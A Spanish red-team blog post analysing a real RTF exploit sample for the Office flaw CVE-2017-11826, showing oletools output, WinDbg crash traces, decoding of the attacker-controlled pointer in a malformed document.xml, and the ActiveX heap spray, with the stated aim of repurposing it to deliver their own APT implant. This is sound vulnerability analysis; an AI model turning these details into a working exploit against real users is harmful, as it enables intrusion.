Coincidiendo con el inicio de una simulación de un APT por parte del Red Team, fue publicado un parche de Microsoft para corregir una vulnerabilidad (CVE-2017-11826) que afectaba a MS Office. El parche, que corregía una corrupción de memoria, fue publicado el 10 de Octubre. El 11 de Octubre la firma Qihoo 360 Core Security reportó haber encontrado malware explotando dicha vulnerabilidad durante el mes de septiembre.

Dada la exsitencia de una muestra de malware que explotaba esta vulnerabilidad, y el lapso de tiempo entre la publicación del parche y su aplicación, se optó por enfocar el ejercicio del Red Team partiendo de esta vulnerabilidad. En este artículo describiremos el contenido del archivo, y explicaremos como podemos modificar el exploit para que ejecute nuestra carga útil, permitiéndonos usarlo para implantar nuestra propia solución APT.

0x01 – Análisis inicial del archivo

0x02 – Análisis del trigger de la vulnerabilida

0x03 – Análisis del heap spray

0x04 – Creación de la matryoska

0x05 – Creación de nuestro payload

0x06 – Conclusión

0x01 – Análisis inicial del archivo

El exploit que se encontró es un archivo RTF. Analizando su contenido encontramos los siguientes componentes:

  1. $ rtfobj cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
  2. rtfobj 0.51 – https://decalage.info/python/oletools
  3. THIS IS WORK IN PROGRESS – Check updates regularly!
  4. Please report any issue at https://github.com/decalage2/oletools/issues
  5. ===============================================================================
  6. File: ‘cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5’ – size: 680268 bytes
  7. —+———-+——————————-+——————————-
  8. id |index |OLE Object |OLE Package
  9. —+———-+——————————-+——————————-
  10. 0 |0003972Dh |format_id: 1 (Linked) |Not an OLE Package
  11. | |class name: |
  12. | |data size: N/A |
  13. —+———-+——————————-+——————————-
  14. 1 |00039807h |format_id: 2 (Embedded) |Not an OLE Package
  15. | |class name: ‘Word.Document.12’ |
  16. | |data size: 53248 |
  17. —+———-+——————————-+——————————-
  18. 2 |000538E9h |format_id: 2 (Embedded) |Not an OLE Package
  19. | |class name: ‘Word.Document.12’ |
  20. | |data size: 14336 |
  21. —+———-+——————————-+——————————-

Si mostramos el contenido del RTF con una pequeña herramienta creada para la ocasión y examinamos los tres objetos, nos encontramos lo siguiente:

  1. $ python2 rtf.py –input cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5 –dump
  2. []
  3. \object
  4. \objemb
  5. \*
  6. \oleclsid
  7. \’7bD5DE8D20-5BB8-11D1-A1E3-00A0C90F2731
  8. \’7d
  9. \*
  10. \objdata 010500000100000001000000000000000000000000000000000000000000000000000000000000000000000000
  11. \result
  12. \pict
  13. \wmetafile8
  14. \picw1
  15. \pich1
  16. \
  17. \object
  18. \objemb
  19. \objsetsize
  20. \objw9361
  21. \objh764
  22. \*
  23. \objclass Word.Document.12
  24. \*
  25. \objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000d00000d0cf11e0a1b11ae
  26. []
  27. \object
  28. \objemb
  29. \objsetsize
  30. \objw9361
  31. \objh764
  32. \*
  33. \objclass Word.Document.12
  34. \*
  35. \objdata 010500000200000011000000576f72642e446f63756d656e742e313200000000000000000000380000d0cf11e0a1b11ae1

El primer objeto carga la librería identificada por el CLSID D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731. Podemos acceder al registro de Windows para saber a qué se refiere:

  1. C:\Users\javier.gil>reg query HKEY_CLASSES_ROOT /F “D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731” /c /s
  2. HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}
  3. End of search: 1 match(es) found.
  4. C:\Users\javier.gil>reg query HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\
  5. HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}
  6. (Default) REG_SZ VBPropertyBag
  7. HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\InProcServer32
  8. C:\Users\javier.gil>reg query HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\InProcServer32
  9. HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{D5DE8D20-5BB8-11D1-A1E3-00A0C90F2731}\InProcServer32
  10. (Default) REG_SZ C:\Windows\SysWOW64\msvbvm60.dll
  11. ThreadingModel REG_SZ Apartment

Esto hará que Word cargue esta DLL en memoria. ¿Qué tiene de especial esta librería?

msvbvm60 sin ASLR

msvbvm60 sin ASLR

Luego, la intención al cargar este módulo es tener una librería en una dirección conocida, para poder utilizar su código más adelante.

Los otros dos objetos incrustados en el RTF son dos archivos de Word. Podemos utilizar rtfobj para extraerlos:

  1. $ rtfobj -s all cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
  2. rtfobj 0.51 – https://decalage.info/python/oletools
  3. THIS IS WORK IN PROGRESS – Check updates regularly!
  4. Please report any issue at https://github.com/decalage2/oletools/issues
  5. ===============================================================================
  6. File: ‘cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5’ – size: 680268 bytes
  7. —+———-+——————————-+——————————-
  8. id |index |OLE Object |OLE Package
  9. —+———-+——————————-+——————————-
  10. 0 |0003972Dh |format_id: 1 (Linked) |Not an OLE Package
  11. | |class name: |
  12. | |data size: N/A |
  13. —+———-+——————————-+——————————-
  14. 1 |00039807h |format_id: 2 (Embedded) |Not an OLE Package
  15. | |class name: ‘Word.Document.12’ |
  16. | |data size: 53248 |
  17. —+———-+——————————-+——————————-
  18. 2 |000538E9h |format_id: 2 (Embedded) |Not an OLE Package
  19. | |class name: ‘Word.Document.12’ |
  20. | |data size: 14336 |
  21. —+———-+——————————-+——————————-
  22. Saving raw data in object #0:
  23. saving object to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw
  24. Saving file embedded in OLE object #1:
  25. format_id = 2
  26. class name = ‘Word.Document.12’
  27. data size = 53248
  28. saving to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc
  29. Saving file embedded in OLE object #2:
  30. format_id = 2
  31. class name = ‘Word.Document.12’
  32. data size = 14336
  33. saving to file cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc
  34. $ l
  35. total 748K
  36. drwxr-xr-x 2 i i 4.0K Nov 30 11:27 .
  37. drwxr-xr-x 11 i i 4.0K Nov 30 11:27 ..
  38. -rw-r–r– 1 i i 665K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5
  39. -rw-r–r– 1 i i 45 Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw
  40. -rw-r–r– 1 i i 52K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc
  41. -rw-r–r– 1 i i 14K Nov 30 11:27 cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc
  42. $ file *
  43. cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5: Rich Text Format data, version 1, unknown character set
  44. cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_0003972D.raw: locale data table
  45. cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc: Composite Document File V2 Document, Cannot read section info
  46. cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc: Composite Document File V2 Document, Cannot read section info
  47. $ unzip cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc -d 00039807.doc [55/515]
  48. Archive: cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc
  49. warning [cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc]: 1536 extra bytes at beginning or within zipfile
  50. (attempting to process anyway)
  51. inflating: 00039807.doc/docProps/app.xml
  52. inflating: 00039807.doc/docProps/core.xml
  53. creating: 00039807.doc/word/activeX/
  54. inflating: 00039807.doc/word/activeX/activeX1.bin
  55. inflating: 00039807.doc/word/activeX/activeX1.xml
  56. inflating: 00039807.doc/word/activeX/activeX10.xml
  57. inflating: 00039807.doc/word/activeX/activeX11.xml
  58. inflating: 00039807.doc/word/activeX/activeX12.xml
  59. inflating: 00039807.doc/word/activeX/activeX13.xml
  60. inflating: 00039807.doc/word/activeX/activeX14.xml
  61. inflating: 00039807.doc/word/activeX/activeX15.xml
  62. inflating: 00039807.doc/word/activeX/activeX16.xml
  63. inflating: 00039807.doc/word/activeX/activeX17.xml
  64. inflating: 00039807.doc/word/activeX/activeX18.xml
  65. inflating: 00039807.doc/word/activeX/activeX19.xml
  66. inflating: 00039807.doc/word/activeX/activeX2.xml
  67. inflating: 00039807.doc/word/activeX/activeX20.xml
  68. inflating: 00039807.doc/word/activeX/activeX21.xml
  69. inflating: 00039807.doc/word/activeX/activeX22.xml
  70. inflating: 00039807.doc/word/activeX/activeX23.xml
  71. inflating: 00039807.doc/word/activeX/activeX24.xml
  72. inflating: 00039807.doc/word/activeX/activeX25.xml
  73. inflating: 00039807.doc/word/activeX/activeX26.xml
  74. inflating: 00039807.doc/word/activeX/activeX27.xml
  75. inflating: 00039807.doc/word/activeX/activeX28.xml
  76. inflating: 00039807.doc/word/activeX/activeX29.xml
  77. inflating: 00039807.doc/word/activeX/activeX3.xml
  78. inflating: 00039807.doc/word/activeX/activeX30.xml
  79. inflating: 00039807.doc/word/activeX/activeX31.xml
  80. inflating: 00039807.doc/word/activeX/activeX32.xml
  81. inflating: 00039807.doc/word/activeX/activeX33.xml
  82. inflating: 00039807.doc/word/activeX/activeX34.xml
  83. inflating: 00039807.doc/word/activeX/activeX35.xml
  84. inflating: 00039807.doc/word/activeX/activeX36.xml
  85. inflating: 00039807.doc/word/activeX/activeX37.xml
  86. inflating: 00039807.doc/word/activeX/activeX38.xml
  87. inflating: 00039807.doc/word/activeX/activeX39.xml
  88. inflating: 00039807.doc/word/activeX/activeX4.xml
  89. inflating: 00039807.doc/word/activeX/activeX40.xml
  90. inflating: 00039807.doc/word/activeX/activeX5.xml
  91. inflating: 00039807.doc/word/activeX/activeX6.xml
  92. inflating: 00039807.doc/word/activeX/activeX7.xml
  93. inflating: 00039807.doc/word/activeX/activeX8.xml
  94. inflating: 00039807.doc/word/activeX/activeX9.xml
  95. creating: 00039807.doc/word/activeX/_rels/
  96. inflating: 00039807.doc/word/activeX/_rels/activeX1.xml.rels
  97. inflating: 00039807.doc/word/activeX/_rels/activeX10.xml.rels
  98. inflating: 00039807.doc/word/activeX/_rels/activeX11.xml.rels
  99. inflating: 00039807.doc/word/activeX/_rels/activeX12.xml.rels
  100. inflating: 00039807.doc/word/activeX/_rels/activeX13.xml.rels
  101. inflating: 00039807.doc/word/activeX/_rels/activeX14.xml.rels
  102. inflating: 00039807.doc/word/activeX/_rels/activeX15.xml.rels
  103. inflating: 00039807.doc/word/activeX/_rels/activeX16.xml.rels
  104. inflating: 00039807.doc/word/activeX/_rels/activeX17.xml.rels
  105. inflating: 00039807.doc/word/activeX/_rels/activeX18.xml.rels
  106. inflating: 00039807.doc/word/activeX/_rels/activeX19.xml.rels
  107. inflating: 00039807.doc/word/activeX/_rels/activeX2.xml.rels
  108. inflating: 00039807.doc/word/activeX/_rels/activeX20.xml.rels
  109. inflating: 00039807.doc/word/activeX/_rels/activeX21.xml.rels
  110. inflating: 00039807.doc/word/activeX/_rels/activeX22.xml.rels
  111. inflating: 00039807.doc/word/activeX/_rels/activeX23.xml.rels
  112. inflating: 00039807.doc/word/activeX/_rels/activeX24.xml.rels
  113. inflating: 00039807.doc/word/activeX/_rels/activeX25.xml.rels
  114. inflating: 00039807.doc/word/activeX/_rels/activeX26.xml.rels
  115. inflating: 00039807.doc/word/activeX/_rels/activeX27.xml.rels
  116. inflating: 00039807.doc/word/activeX/_rels/activeX28.xml.rels
  117. inflating: 00039807.doc/word/activeX/_rels/activeX29.xml.rels
  118. inflating: 00039807.doc/word/activeX/_rels/activeX3.xml.rels
  119. inflating: 00039807.doc/word/activeX/_rels/activeX30.xml.rels
  120. inflating: 00039807.doc/word/activeX/_rels/activeX31.xml.rels
  121. inflating: 00039807.doc/word/activeX/_rels/activeX32.xml.rels
  122. inflating: 00039807.doc/word/activeX/_rels/activeX33.xml.rels
  123. inflating: 00039807.doc/word/activeX/_rels/activeX34.xml.rels
  124. inflating: 00039807.doc/word/activeX/_rels/activeX35.xml.rels
  125. inflating: 00039807.doc/word/activeX/_rels/activeX36.xml.rels
  126. inflating: 00039807.doc/word/activeX/_rels/activeX37.xml.rels
  127. inflating: 00039807.doc/word/activeX/_rels/activeX38.xml.rels
  128. inflating: 00039807.doc/word/activeX/_rels/activeX39.xml.rels
  129. inflating: 00039807.doc/word/activeX/_rels/activeX4.xml.rels
  130. inflating: 00039807.doc/word/activeX/_rels/activeX40.xml.rels
  131. inflating: 00039807.doc/word/activeX/_rels/activeX5.xml.rels
  132. inflating: 00039807.doc/word/activeX/_rels/activeX6.xml.rels
  133. inflating: 00039807.doc/word/activeX/_rels/activeX7.xml.rels
  134. inflating: 00039807.doc/word/activeX/_rels/activeX8.xml.rels
  135. inflating: 00039807.doc/word/activeX/_rels/activeX9.xml.rels
  136. inflating: 00039807.doc/word/document.xml
  137. inflating: 00039807.doc/word/fontTable.xml
  138. inflating: 00039807.doc/word/media/image1.wmf
  139. inflating: 00039807.doc/word/settings.xml
  140. inflating: 00039807.doc/word/styles.xml
  141. inflating: 00039807.doc/word/theme/theme1.xml
  142. inflating: 00039807.doc/word/webSettings.xml
  143. inflating: 00039807.doc/word/_rels/document.xml.rels
  144. inflating: 00039807.doc/[Content_Types].xml
  145. inflating: 00039807.doc/_rels/.rels
  146. $ unzip cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc -d 000538E9.doc
  147. Archive: cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc
  148. warning [cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_000538E9.doc]: 1536 extra bytes at beginning or within zipfile
  149. (attempting to process anyway)
  150. inflating: 000538E9.doc/docProps/app.xml
  151. inflating: 000538E9.doc/docProps/core.xml
  152. inflating: 000538E9.doc/word/document.xml
  153. inflating: 000538E9.doc/word/endnotes.xml
  154. inflating: 000538E9.doc/word/fontTable.xml
  155. inflating: 000538E9.doc/word/footnotes.xml
  156. inflating: 000538E9.doc/word/settings.xml
  157. inflating: 000538E9.doc/word/styles.xml
  158. inflating: 000538E9.doc/word/theme/theme1.xml
  159. inflating: 000538E9.doc/word/webSettings.xml
  160. inflating: 000538E9.doc/word/_rels/document.xml.rels
  161. inflating: 000538E9.doc/[Content_Types].xml
  162. inflating: 000538E9.doc/_rels/.rels

unzip nos avisa de que antes del ZIP tenemos 1536 bytes extra. Esto es debido a que los objetos extraído del RTF no son docx directamente, sino CDF. Esto es un formato de archivo creado por Microsoft que básicamente es un contenedor de archivos (https://en.wikipedia.org/wiki/Compound_File_Binary_Format)

Más tarde veremos como procesar estos archivos, pero de momento continuemos con el análisis de los dos documentos extraídos.

0x02 – Análisis del trigger de la vulnerabilidad

Este archivo apenas tiene contenido. Podemos comenzar examinando el archivo document.xml:

  1. $ xmllint word/document.xml
  2. word/document.xml:7: parser error : Opening and ending tag mismatch: font line 6 and OLEObject
  3. ^
  4. word/document.xml:8: parser error : Opening and ending tag mismatch: OLEObject line 5 and shapeDefaults
  5. ^
  6. word/document.xml:9: parser error : Opening and ending tag mismatch: shapeDefaults line 4 and body
  7. ^
  8. word/document.xml:10: parser error : Opening and ending tag mismatch: body line 3 and document
  9. ^
  10. word/document.xml:10: parser error : Premature end of data in tag document line 2

Por lo visto este documento no está bien formado, puesto que tiene tags XML cuyo principio y fin no coinciden.

  1. $ cat word/document.xml

El tag w:font está cerrado con un tag o:idmap . Podemos ver también una serie de caracteres extraños en su contenido:

  1. [0x00000000 0% 2304 word/document.xml]> xc
  2. – offset – 0 1 2 3 4 5 6 7 8 9 A B C D E F 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF0123456789ABCDEF comment
  3. []
  4. 0x000002a0 6175 6c74 7320 3e0d 0a09 0909 3c6f 3a4f 4c45 4f62 6a65 6374 203e 0d0a 0909 0909 aults >………..
  5. 0x000002c0 3c77 3a66 6f6e 7420 773a 6e61 6d65 3d22 4c69 6e63 6572 4368 6172 4368 6172 e8a3 …
  6. 0x00000300 0909 3c2f 6f3a 4f4c 454f 626a 6563 743e 0d0a 0909 3c2f 773a 7368 6170 6544 6566 ……</w:shapeDef 0x00000320 6175 6c74 733e 0d0a 093c 2f77 3a62 6f64 793e 0d0a 3c2f 773a 646f 6375 6d65 6e74 aults>…..</w:document 0x00000340 3eff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff ffff >………………………….

Los bytes son e8a3ace0a288. Anotemos este valor para más adelante.

Pasemos a hacer una breve prueba bajo el depurador de la ejecución del exploit. Para ello, abrimos el documento con word y nos metemos con Windbg.

  1. 0:014> g
  2. ModLoad: 69700000 6978c000 C:\Windows\SysWOW64\UIAutomationCore.DLL
  3. ModLoad: 75510000 75515000 C:\Windows\syswow64\PSAPI.DLL
  4. ModLoad: 696c0000 696fc000 C:\Windows\SysWOW64\OLEACC.dll
  5. (814.e80): Unknown exception – code e0000002 (first chance)
  6. ModLoad: 69680000 696b1000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT532.CNV
  7. ModLoad: 69660000 6967f000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
  8. ModLoad: 69630000 6965f000 SHDOCVW.dll
  9. ModLoad: 69600000 6962f000 C:\Windows\SysWOW64\shdocvw.dll
  10. ModLoad: 69680000 696be000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT632.CNV
  11. ModLoad: 69640000 6965f000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
  12. ModLoad: 69640000 69671000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT532.CNV
  13. ModLoad: 696a0000 696bf000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
  14. ModLoad: 69640000 6967e000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\WPFT632.CNV
  15. ModLoad: 69680000 6969f000 C:\Program Files (x86)\Common Files\Microsoft Shared\TEXTCONV\msconv97.dll
  16. (814.e80): Unknown exception – code e0000002 (first chance)
  17. (814.e80): Access violation – code c0000005 (first chance)
  18. First chance exceptions are reported before any exception handling.
  19. This exception may be expected and handled.
  20. *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Microsoft Office\Office15\wwlib.dll –
  21. eax=088888ec ebx=00000000 ecx=088888ec edx=00000004 esi=0937b008 edi=0938854c
  22. eip=6f6c82a3 esp=0029457c ebp=002945e8 iopl=0 nv up ei pl nz na po nc
  23. cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
  24. wwlib!DllGetLCID+0x2e1e19:
  25. 6f6c82a3 8b08 mov ecx,dword ptr [eax] ds:002b:088888ec=????????

Algo falla en el exploit, ya que Windbg ha cazado un crash por una lectura de una dirección de memoria inválida. Algo de contexto:

  1. 0:000> ub;u
  2. wwlib!DllGetLCID+0x2e1dfc:
  3. 6f6c8286 0f84d268e9ff je wwlib!DllGetLCID+0x1786d4 (6f55eb5e)
  4. 6f6c828c 8b4944 mov ecx,dword ptr [ecx+44h]
  5. 6f6c828f 85c9 test ecx,ecx
  6. 6f6c8291 0f84c768e9ff je wwlib!DllGetLCID+0x1786d4 (6f55eb5e)
  7. 6f6c8297 8b4744 mov eax,dword ptr [edi+44h]
  8. 6f6c829a 894844 mov dword ptr [eax+44h],ecx
  9. 6f6c829d 8b4744 mov eax,dword ptr [edi+44h]
  10. 6f6c82a0 8b4044 mov eax,dword ptr [eax+44h]
  11. wwlib!DllGetLCID+0x2e1e19:
  12. 6f6c82a3 8b08 mov ecx,dword ptr [eax]
  13. 6f6c82a5 50 push eax
  14. 6f6c82a6 ff5104 call dword ptr [ecx+4]
  15. 6f6c82a9 e9b068e9ff jmp wwlib!DllGetLCID+0x1786d4 (6f55eb5e)
  16. 6f6c82ae 83f802 cmp eax,2
  17. 6f6c82b1 750f jne wwlib!DllGetLCID+0x2e1e38 (6f6c82c2)
  18. 6f6c82b3 8d4624 lea eax,[esi+24h]
  19. 6f6c82b6 50 push eax

Parece que la función en la que nos encontramos está leyendo un objeto desde eax y posteriormente llamando a un método en el offset 0x04, pasando su propia referencia en eax de nuevo.

¿De dónde viene el valor 0x088888ec, que está provocando un crash? Volvamos al contenido de document.xml que examinamos previamente. Allí vimos el valor extraño e8a3ace0a288. ¿Pueden tener alguna relación?

Los archivos XML de office están codificados en UTF-8. Sin embargo, las aplicaciones de Windows utilizan UTF-16 internamente:

  1. $ python2
  2. Python 2.7.14 (default, Sep 20 2017, 01:25:59)
  3. [GCC 7.2.0] on linux2
  4. Type “help”, “copyright”, “credits” or “license” for more information.
  5. >>> import struct
  6. >>> x = “e8a3ace0a288”.decode(“hex”)
  7. >>> unicode(x.decode(“utf-8”)).encode(“utf-16-le”)
  8. ‘\xec\x88\x88\x08’
  9. >>> hex(struct.unpack(“<L”, “\xec\x88\x88\x08”)[0])
  10. ‘0x88888ec’

Bingo ?

Luego, modificando este valor, podemos conseguir que Word lleve a cabo las siguientes operaciones. Digamos que asignamos un valor X a eax:

  1. 6f6c82a3 8b08 mov ecx,dword ptr [X]
  2. 6f6c82a5 50 push X
  3. 6f6c82a6 ff5104 call dword ptr [X+4]

Por lo tanto, para poder controlar EIP, necesitamos colocar en una dirección de memoria controlada algo tal que:

  1. Dirección Valor
  2. X X
  3. X + 4 EIP objetivo

¿Cómo lograr complir estas condiciones? Los autores del exploit lo hicieron mediante un heap spray.

0x03 – Análisis del heap spray

Examinando el contenido del primer objeto, cb3429e608144909ef25df2605c24ec253b10b6e99cbb6657afa6b92e9f32fb5_object_00039807.doc, inmediatamente nos llama la atención que contiene 40 objetos activeX. Esto nos recuerda a la técnica clásica de heap spraying en Office.

Veamos el contenido de document.xml, el cual describe el contenido del archivo:

  1. […]
  2. <w:object w:dxaOrig=“1440” w:dyaOrig=“1440”>
  3. <v:shape id=“_x0000_i1060” type=“#_x0000_t75” style=“width:1in;height:1in” o:ole=””>
  4. <v:imagedata r:id=“rId4” o:title=””/>
  5. </v:shape>
  6. <w:control r:id=“rId6” w:name=“Image117” w:shapeid=“_x0000_i1060”/>
  7. </w:object>
  8. </w:r>
  9. <w:r>
  10. <w:object w:dxaOrig=“1440” w:dyaOrig=“1440”>
  11. <v:shape id=“_x0000_i1058” type=“#_x0000_t75” style=“width:1in;height:1in” o:ole=””>
  12. <v:imagedata r:id=“rId4” o:title=””/>
  13. </v:shape>
  14. <w:control r:id=“rId7” w:name=“Image116” w:shapeid=“_x0000_i1058”/>
  15. </w:object>
  16. </w:r>
  17. <w:r>
  18. <w:object w:dxaOrig=“1440” w:dyaOrig=“1440”>
  19. <v:shape id=“_x0000_i1056” type=“#_x0000_t75” style=“width:1in;height:1in” o:ole=””>
  20. <v:imagedata r:id=“rId4” o:title=””/>
  21. </v:shape>
  22. <w:control r:id=“rId8” w:name=“Image115” w:shapeid=“_x0000_i1056”/>
  23. </w:object>
  24. </w:r>
  25. <w:r>
  26. <w:object w:dxaOrig=“1440” w:dyaOrig=“1440”>
  27. <v:shape id=“_x0000_i1054” type=“#_x0000_t75” style=“width:1in;height:1in” o:ole=””>
  28. <v:imagedata r:id=“rId4” o:title=””/>
  29. </v:shape>
  30. <w:control r:id=“rId9” w:name=“Image114” w:shapeid=“_x0000_i1054”/>
  31. </w:object>
  32. </w:r>
  33. <w:r>
  34. <w:object w:dxaOrig=“1440” w:dyaOrig=“1440”>
  35. <v:shape id=“_x0000_i1052” type=“#_x0000_t75” style=“width:1in;height:1in” o:ole=””>
  36. <v:imagedata r:id=“rId4” o:title=””/>
  37. </v:shape>
  38. <w:control r:id=“rId10” w:name=“Image113” w:shapeid=“_x0000_i1052”/>
  39. </w:object>
  40. </w:r>
  41. <w:r>
  42. […]

Para no hacer el post excesivamente largo se ha recortado el documento, pero el original contiene varios controles embebidos, desde el rId5 hasta el rId44. Si examinamos las referencias en el archivo word/_rels/document.xml.rels:

  1. <Relationships xmlns=“https://schemas.openxmlformats.org/package/2006/relationships”>
  2. <Relationship Id=“rId8” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX4.xml”/>
  3. <Relationship Id=“rId13” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX9.xml”/>
  4. <Relationship Id=“rId18” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX14.xml”/>
  5. <Relationship Id=“rId26” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX22.xml”/>
  6. <Relationship Id=“rId39” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX35.xml”/>
  7. <Relationship Id=“rId3” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings” Target=“webSettings.xml”/>
  8. <Relationship Id=“rId21” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX17.xml”/>
  9. <Relationship Id=“rId34” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX30.xml”/>
  10. <Relationship Id=“rId42” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX38.xml”/>
  11. <Relationship Id=“rId7” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX3.xml”/>
  12. <Relationship Id=“rId12” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX8.xml”/>
  13. <Relationship Id=“rId17” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX13.xml”/>
  14. <Relationship Id=“rId25” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX21.xml”/>
  15. <Relationship Id=“rId33” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX29.xml”/>
  16. <Relationship Id=“rId38” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX34.xml”/>
  17. <Relationship Id=“rId46” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/theme” Target=“theme/theme1.xml”/>
  18. <Relationship Id=“rId2” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/settings” Target=“settings.xml”/>
  19. <Relationship Id=“rId16” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX12.xml”/>
  20. <Relationship Id=“rId20” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX16.xml”/>
  21. <Relationship Id=“rId29” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX25.xml”/>
  22. <Relationship Id=“rId41” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX37.xml”/>
  23. <Relationship Id=“rId1” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/styles” Target=“styles.xml”/>
  24. <Relationship Id=“rId6” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX2.xml”/>
  25. <Relationship Id=“rId11” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX7.xml”/>
  26. <Relationship Id=“rId24” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX20.xml”/>
  27. <Relationship Id=“rId32” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX28.xml”/>
  28. <Relationship Id=“rId37” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX33.xml”/>
  29. <Relationship Id=“rId40” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX36.xml”/>
  30. <Relationship Id=“rId45” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable” Target=“fontTable.xml”/>
  31. <Relationship Id=“rId5” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX1.xml”/>
  32. <Relationship Id=“rId15” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX11.xml”/>
  33. <Relationship Id=“rId23” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX19.xml”/>
  34. <Relationship Id=“rId28” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX24.xml”/>
  35. <Relationship Id=“rId36” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX32.xml”/>
  36. <Relationship Id=“rId10” Type=“https://schemas.openxmlformats.org/officeDocument/2006/relationships/control” Target=“activeX/activeX6.xml”/>
